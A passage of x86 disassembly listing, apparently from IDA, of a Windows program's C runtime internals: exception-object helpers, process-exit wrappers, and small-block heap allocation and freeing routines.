loc_417F8C:				; CODE XREF: sub_417ED0+B7j
		push	eax
		push	[ebp+var_64]
		push	esi
		push	esi
		call	ds:dword_4953A8	; GetModuleHandleA
		push	eax
		call	sub_4012D0
		mov	[ebp+var_60], eax
		push	eax
		call	sub_41780D
		mov	eax, [ebp+var_14]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp+var_68], ecx
		push	eax
		push	ecx
		call	sub_41D06A
		pop	ecx
		pop	ecx
		retn
sub_417ED0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-68h]
		call	sub_41781E

; =============== S U B	R O U T	I N E =======================================



sub_417FC6	proc near		; CODE XREF: sub_4167F2+16p
					; sub_41D246+4Ep ...

arg_0		= dword	ptr  4

		cmp	dword_492848, 1
		jnz	short loc_417FD4
		call	sub_41D92C


loc_417FD4:				; CODE XREF: sub_417FC6+7j
		push	[esp+arg_0]
		call	sub_41D965
		push	0FFh
		call	off_435AA0
		pop	ecx
		pop	ecx
		retn
sub_417FC6	endp


; =============== S U B	R O U T	I N E =======================================



sub_417FEB	proc near		; CODE XREF: sub_417ED0+66p

arg_0		= dword	ptr  4

		cmp	dword_492848, 1
		jnz	short loc_417FF9
		call	sub_41D92C


loc_417FF9:				; CODE XREF: sub_417FEB+7j
		push	[esp+arg_0]
		call	sub_41D965
		pop	ecx
		push	0FFh
		call	ds:dword_495350	; ExitProcess
		retn
sub_417FEB	endp

; ---------------------------------------------------------------------------
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax+8], 0
		mov	dword ptr [eax], offset	off_4275F8
		retn

; =============== S U B	R O U T	I N E =======================================



sub_418020	proc near		; DATA XREF: .rdata:off_4275F8o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4180E2
		test	[esp+4+arg_0], 1
		jz	short loc_418036
		push	esi
		call	sub_4158CA
		pop	ecx


loc_418036:				; CODE XREF: sub_418020+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_418020	endp


; =============== S U B	R O U T	I N E =======================================



sub_41803C	proc near		; CODE XREF: sub_4155CD+1Fp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_4275F8
		push	dword ptr [edi]
		call	sub_4158E0
		inc	eax
		push	eax
		call	sub_416765
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_41806B
		push	dword ptr [edi]
		push	eax
		call	sub_4175D0
		pop	ecx
		pop	ecx


loc_41806B:				; CODE XREF: sub_41803C+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_41803C	endp


; =============== S U B	R O U T	I N E =======================================



sub_418079	proc near		; CODE XREF: sub_4156B4+17p
					; .text:004180D7p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_4275F8
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_4180B6
		push	dword ptr [edi+4]
		call	sub_4158E0
		inc	eax
		push	eax
		call	sub_416765
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_4180BC
		push	dword ptr [edi+4]
		push	eax
		call	sub_4175D0
		pop	ecx
		pop	ecx
		jmp	short loc_4180BC
; ---------------------------------------------------------------------------


loc_4180B6:				; CODE XREF: sub_418079+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_4180BC:				; CODE XREF: sub_418079+2Ej
					; sub_418079+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_418079	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, ecx
		cmp	esi, [esp+8]
		jz	short loc_4180DC
		call	sub_4180E2
		push	dword ptr [esp+8]
		mov	ecx, esi
		call	sub_418079


loc_4180DC:				; CODE XREF: .text:004180CAj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4180E2	proc near		; CODE XREF: sub_41565B+2Bp
					; sub_415711+2Bp ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_4275F8
		jz	short locret_4180F7
		push	dword ptr [ecx+4]
		call	sub_4158CA
		pop	ecx

locret_4180F7:				; CODE XREF: sub_4180E2+Aj
		retn
sub_4180E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4180F8	proc near		; DATA XREF: .rdata:004275FCo
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_418104
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_418104:				; CODE XREF: sub_4180F8+5j
		retn
sub_4180F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_418105	proc near		; CODE XREF: sub_41811A+3p
		mov	dword ptr [ecx], offset	off_427618
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_418119
		push	ecx
		call	sub_415D6C
		pop	ecx

locret_418119:				; CODE XREF: sub_418105+Bj
		retn
sub_418105	endp


; =============== S U B	R O U T	I N E =======================================



sub_41811A	proc near		; DATA XREF: .rdata:off_427618o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_418105
		test	[esp+4+arg_0], 1
		jz	short loc_418130
		push	esi
		call	sub_4158CA
		pop	ecx


loc_418130:				; CODE XREF: sub_41811A+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41811A	endp

; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		add	ecx, 9
		add	eax, 9
		push	ecx
		push	eax
		call	sub_416B70
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		retn	4
; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		add	ecx, 9
		add	eax, 9
		push	ecx
		push	eax
		call	sub_416B70
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		neg	eax
		retn	4
; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		add	ecx, 9
		add	eax, 9
		push	ecx
		push	eax
		call	sub_416B70
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		test	eax, eax
		setnle	cl
		mov	eax, ecx
		retn	4
; ---------------------------------------------------------------------------
		lea	eax, [ecx+8]
		retn
; ---------------------------------------------------------------------------
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_427618
		retn	4
; ---------------------------------------------------------------------------
		mov	eax, ecx
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4181A0	proc near		; CODE XREF: sub_415573+54p
					; sub_41563E+18p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_427620
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	ds:dword_49544C	; RaiseException
		pop	edi
		pop	esi
		leave
		retn	8
sub_4181A0	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+4]
		mov	eax, dword_492850
		mov	dword_492850, ecx
		retn
; ---------------------------------------------------------------------------
		mov	eax, dword_492850
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4181F0	proc near		; CODE XREF: sub_415D0A+1Fp
					; sub_416ED2+106p ...

arg_0		= dword	ptr  4

		mov	eax, dword_492850
		test	eax, eax
		jz	short loc_418208
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_418208
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_418208:				; CODE XREF: sub_4181F0+7j
					; sub_4181F0+12j
		xor	eax, eax
		retn
sub_4181F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41820B	proc near		; CODE XREF: sub_417ED0+5Ap

arg_0		= dword	ptr  4

		xor	eax, eax
		push	0
		cmp	[esp+4+arg_0], eax
		push	1000h
		setz	al
		push	eax
		call	ds:dword_495454	; HeapCreate
		test	eax, eax
		mov	dword_49426C, eax
		jz	short loc_418240
		call	sub_4182D9
		test	eax, eax
		jnz	short loc_418243
		push	dword_49426C
		call	ds:dword_495450	; HeapDestroy


loc_418240:				; CODE XREF: sub_41820B+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_418243:				; CODE XREF: sub_41820B+27j
		push	1
		pop	eax
		retn
sub_41820B	endp

; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_494264, ebx
		push	ebp
		mov	ebp, ds:dword_49542C
		jle	short loc_41829D
		mov	eax, dword_494268
		push	esi
		push	edi
		mov	edi, ds:dword_495458
		lea	esi, [eax+0Ch]


loc_418269:				; CODE XREF: .text:00418299j
		push	4000h
		push	100000h
		push	dword ptr [esi]
		call	edi	; VirtualFree
		push	8000h
		push	0
		push	dword ptr [esi]
		call	edi	; VirtualFree
		push	dword ptr [esi+4]
		push	0
		push	dword_49426C
		call	ebp	; RtlFreeHeap
		add	esi, 14h
		inc	ebx
		cmp	ebx, dword_494264
		jl	short loc_418269
		pop	edi
		pop	esi


loc_41829D:				; CODE XREF: .text:00418257j
		push	dword_494268
		push	0
		push	dword_49426C
		call	ebp	; RtlFreeHeap
		push	dword_49426C
		call	ds:dword_495450	; HeapDestroy
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		mov	eax, dword_435AC8
		retn
; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		cmp	eax, 3F8h
		jbe	short loc_4182D0
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4182D0:				; CODE XREF: .text:004182CBj
		push	1
		mov	dword_435AC8, eax
		pop	eax
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4182D9	proc near		; CODE XREF: sub_41820B+20p
		push	140h
		push	0
		push	dword_49426C
		call	ds:dword_495428	; RtlAllocateHeap
		test	eax, eax
		mov	dword_494268, eax
		jnz	short loc_4182F6
		retn
; ---------------------------------------------------------------------------


loc_4182F6:				; CODE XREF: sub_4182D9+1Aj
		and	dword_494260, 0
		and	dword_494264, 0
		push	1
		mov	dword_49425C, eax
		mov	dword_494248, 10h
		pop	eax
		retn
sub_4182D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_418317	proc near		; CODE XREF: sub_415D6C+Ap
					; sub_416ED2+3Dp ...

arg_0		= dword	ptr  4

		mov	eax, dword_494264
		lea	ecx, [eax+eax*4]
		mov	eax, dword_494268
		lea	ecx, [eax+ecx*4]


loc_418327:				; CODE XREF: sub_418317+26j
		cmp	eax, ecx
		jnb	short loc_41833F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_418341
		add	eax, 14h
		jmp	short loc_418327
; ---------------------------------------------------------------------------


loc_41833F:				; CODE XREF: sub_418317+12j
		xor	eax, eax

locret_418341:				; CODE XREF: sub_418317+21j
		retn
sub_418317	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418342	proc near		; CODE XREF: sub_415D6C+16p
					; sub_416ED2+89p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	eax, [ecx+10h]
		mov	esi, edx
		sub	esi, [ecx+0Ch]
		mov	ebx, [edx-4]
		add	edx, 0FFFFFFFCh
		push	edi
		shr	esi, 0Fh
		mov	ecx, esi
		mov	edi, [edx-4]
		imul	ecx, 204h
		dec	ebx
		mov	[ebp+var_4], edi
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ebx
		mov	[ebp+var_10], ecx
		mov	ecx, [ebx+edx]
		test	cl, 1
		mov	[ebp+var_8], ecx
		jnz	short loc_418408
		sar	ecx, 4
		push	3Fh
		dec	ecx
		pop	edi
		mov	[ebp+arg_4], ecx
		cmp	ecx, edi
		jbe	short loc_41839A
		mov	[ebp+arg_4], edi


loc_41839A:				; CODE XREF: sub_418342+53j
		mov	ecx, [ebx+edx+4]
		cmp	ecx, [ebx+edx+8]
		jnz	short loc_4183EC
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_4183C8
		mov	edi, 80000000h
		shr	edi, cl
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+44h], edi
		dec	byte ptr [ecx]
		jnz	short loc_4183EC
		mov	ecx, [ebp+arg_0]
		and	[ecx], edi
		jmp	short loc_4183EC
; ---------------------------------------------------------------------------


loc_4183C8:				; CODE XREF: sub_418342+68j
		add	ecx, 0FFFFFFE0h
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+0C4h], edi
		dec	byte ptr [ecx]
		jnz	short loc_4183EC
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edi


loc_4183EC:				; CODE XREF: sub_418342+60j
					; sub_418342+7Dj ...
		mov	ecx, [ebx+edx+8]
		mov	edi, [ebx+edx+4]
		mov	[ecx+4], edi
		mov	ecx, [ebx+edx+4]
		mov	edi, [ebx+edx+8]
		add	ebx, [ebp+var_8]
		mov	[ecx+8], edi
		mov	[ebp+var_C], ebx


loc_418408:				; CODE XREF: sub_418342+45j
		mov	edi, ebx
		sar	edi, 4
		dec	edi
		cmp	edi, 3Fh
		jbe	short loc_418416
		push	3Fh
		pop	edi


loc_418416:				; CODE XREF: sub_418342+CFj
		mov	ecx, [ebp+var_4]
		and	ecx, 1
		mov	[ebp+var_14], ecx
		jnz	loc_4184C5
		sub	edx, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		push	3Fh
		mov	[ebp+var_8], edx
		dec	ecx
		pop	edx
		cmp	ecx, edx
		mov	[ebp+arg_4], ecx
		jbe	short loc_418441
		mov	[ebp+arg_4], edx
		mov	ecx, edx


loc_418441:				; CODE XREF: sub_418342+F8j
		add	ebx, [ebp+var_4]
		mov	edi, ebx
		mov	[ebp+var_C], ebx
		sar	edi, 4
		dec	edi
		cmp	edi, edx
		jbe	short loc_418453
		mov	edi, edx


loc_418453:				; CODE XREF: sub_418342+10Dj
		cmp	ecx, edi
		jz	short loc_4184C2
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		cmp	edx, [ecx+8]
		jnz	short loc_4184AA
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_418486
		mov	edx, 80000000h
		shr	edx, cl
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+44h], edx
		dec	byte ptr [ecx]
		jnz	short loc_4184AA
		mov	ecx, [ebp+arg_0]
		and	[ecx], edx
		jmp	short loc_4184AA
; ---------------------------------------------------------------------------


loc_418486:				; CODE XREF: sub_418342+126j
		add	ecx, 0FFFFFFE0h
		mov	edx, 80000000h
		shr	edx, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+0C4h], edx
		dec	byte ptr [ecx]
		jnz	short loc_4184AA
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edx


loc_4184AA:				; CODE XREF: sub_418342+11Ej
					; sub_418342+13Bj ...
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[edx+8], ecx


loc_4184C2:				; CODE XREF: sub_418342+113j
		mov	edx, [ebp+var_8]


loc_4184C5:				; CODE XREF: sub_418342+DDj
		cmp	[ebp+var_14], 0
		jnz	short loc_4184D4
		cmp	[ebp+arg_4], edi
		jz	loc_41855D


loc_4184D4:				; CODE XREF: sub_418342+187j
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41855D
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_418531
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_418520
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_418520:				; CODE XREF: sub_418342+1CEj
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		lea	eax, [eax+esi*4+44h]
		or	[eax], ebx
		jmp	short loc_41855A
; ---------------------------------------------------------------------------


loc_418531:				; CODE XREF: sub_418342+1C8j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_418547
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_418547:				; CODE XREF: sub_418342+1F3j
		lea	ecx, [edi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		lea	eax, [eax+esi*4+0C4h]
		or	[eax], edi


loc_41855A:				; CODE XREF: sub_418342+1EDj
		mov	ebx, [ebp+var_C]


loc_41855D:				; CODE XREF: sub_418342+18Cj
					; sub_418342+1B6j
		mov	eax, [ebp+var_10]
		mov	[edx], ebx
		mov	[ebx+edx-4], ebx
		dec	dword ptr [eax]
		jnz	loc_418668
		mov	eax, dword_494260
		test	eax, eax
		jz	loc_41865A
		mov	ecx, dword_494258
		mov	edi, ds:dword_495458
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	edi	; VirtualFree
		mov	ecx, dword_494258
		mov	eax, dword_494260
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_494260
		mov	ecx, dword_494258
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_494260
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_494260
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_4185E8
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_494260


loc_4185E8:				; CODE XREF: sub_418342+29Bj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41865A
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	edi	; VirtualFree
		mov	eax, dword_494260
		push	dword ptr [eax+10h]
		push	0
		push	dword_49426C
		call	ds:dword_49542C	; RtlFreeHeap
		mov	eax, dword_494264
		mov	edx, dword_494268
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_494260
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_416430
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_494264
		cmp	eax, dword_494260
		jbe	short loc_41864C
		sub	eax, 14h


loc_41864C:				; CODE XREF: sub_418342+305j
		mov	ecx, dword_494268
		mov	dword_49425C, ecx
		jmp	short loc_41865D
; ---------------------------------------------------------------------------


loc_41865A:				; CODE XREF: sub_418342+233j
					; sub_418342+2AAj
		mov	eax, [ebp+arg_0]


loc_41865D:				; CODE XREF: sub_418342+316j
		mov	dword_494260, eax
		mov	dword_494258, esi


loc_418668:				; CODE XREF: sub_418342+226j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418342	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41866D	proc near		; CODE XREF: sub_415D36+Ep
					; sub_416ED2+69p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_494264
		mov	edx, dword_494268
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_4186AD
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_4186BD
; ---------------------------------------------------------------------------


loc_4186AD:				; CODE XREF: sub_41866D+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_4186BD:				; CODE XREF: sub_41866D+3Ej
		mov	eax, dword_49425C
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_4186E4


loc_4186CB:				; CODE XREF: sub_41866D+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_4186E4
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_4186CB


loc_4186E4:				; CODE XREF: sub_41866D+5Cj
					; sub_41866D+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_418762
		mov	ebx, edx


loc_4186EB:				; CODE XREF: sub_41866D+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_418707
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_418705
		add	ebx, 14h
		jmp	short loc_4186EB
; ---------------------------------------------------------------------------


loc_418705:				; CODE XREF: sub_41866D+91j
		cmp	ebx, eax


loc_418707:				; CODE XREF: sub_41866D+83j
		jnz	short loc_418762


loc_418709:				; CODE XREF: sub_41866D+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41871F
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41871C
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_418709
; ---------------------------------------------------------------------------


loc_41871C:				; CODE XREF: sub_41866D+A5j
		cmp	ebx, [ebp+var_4]


loc_41871F:				; CODE XREF: sub_41866D+9Fj
		jnz	short loc_418747
		mov	ebx, edx


loc_418723:				; CODE XREF: sub_41866D+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_418737
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_418735
		add	ebx, 14h
		jmp	short loc_418723
; ---------------------------------------------------------------------------


loc_418735:				; CODE XREF: sub_41866D+C1j
		cmp	ebx, eax


loc_418737:				; CODE XREF: sub_41866D+BBj
		jnz	short loc_418747
		call	sub_418976
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41875B


loc_418747:				; CODE XREF: sub_41866D:loc_41871Fj
					; sub_41866D:loc_418737j
		push	ebx
		call	sub_418A27
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_418762


loc_41875B:				; CODE XREF: sub_41866D+D8j
		xor	eax, eax
		jmp	loc_418971
; ---------------------------------------------------------------------------


loc_418762:				; CODE XREF: sub_41866D+7Aj
					; sub_41866D:loc_418707j ...
		mov	dword_49425C, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_418789
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_4187C0


loc_418789:				; CODE XREF: sub_41866D+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_4187BD


loc_4187A6:				; CODE XREF: sub_41866D+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_4187A6


loc_4187BD:				; CODE XREF: sub_41866D+137j
		mov	edx, [ebp+var_4]


loc_4187C0:				; CODE XREF: sub_41866D+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_4187E9
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_4187E9:				; CODE XREF: sub_41866D+16Dj
					; sub_41866D+183j
		test	ecx, ecx
		jl	short loc_4187F2
		shl	ecx, 1
		inc	edi
		jmp	short loc_4187E9
; ---------------------------------------------------------------------------


loc_4187F2:				; CODE XREF: sub_41866D+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41880F
		push	3Fh
		pop	esi


loc_41880F:				; CODE XREF: sub_41866D+19Dj
		cmp	esi, edi
		jz	loc_418924
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_418880
		cmp	edi, 20h
		jge	short loc_41884F
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41887D
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_418880
; ---------------------------------------------------------------------------


loc_41884F:				; CODE XREF: sub_41866D+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41887D
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_418880
; ---------------------------------------------------------------------------


loc_41887D:				; CODE XREF: sub_41866D+1D6j
					; sub_41866D+203j
		mov	ebx, [ebp+arg_0]


loc_418880:				; CODE XREF: sub_41866D+1B0j
					; sub_41866D+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_418930
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_418921
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_4188F2
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_4188E0
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_4188E0:				; CODE XREF: sub_41866D+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_418921
; ---------------------------------------------------------------------------


loc_4188F2:				; CODE XREF: sub_41866D+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41890B
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41890B:				; CODE XREF: sub_41866D+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_418921:				; CODE XREF: sub_41866D+24Ej
					; sub_41866D+283j
		mov	ecx, [ebp+var_8]


loc_418924:				; CODE XREF: sub_41866D+1A4j
		test	ecx, ecx
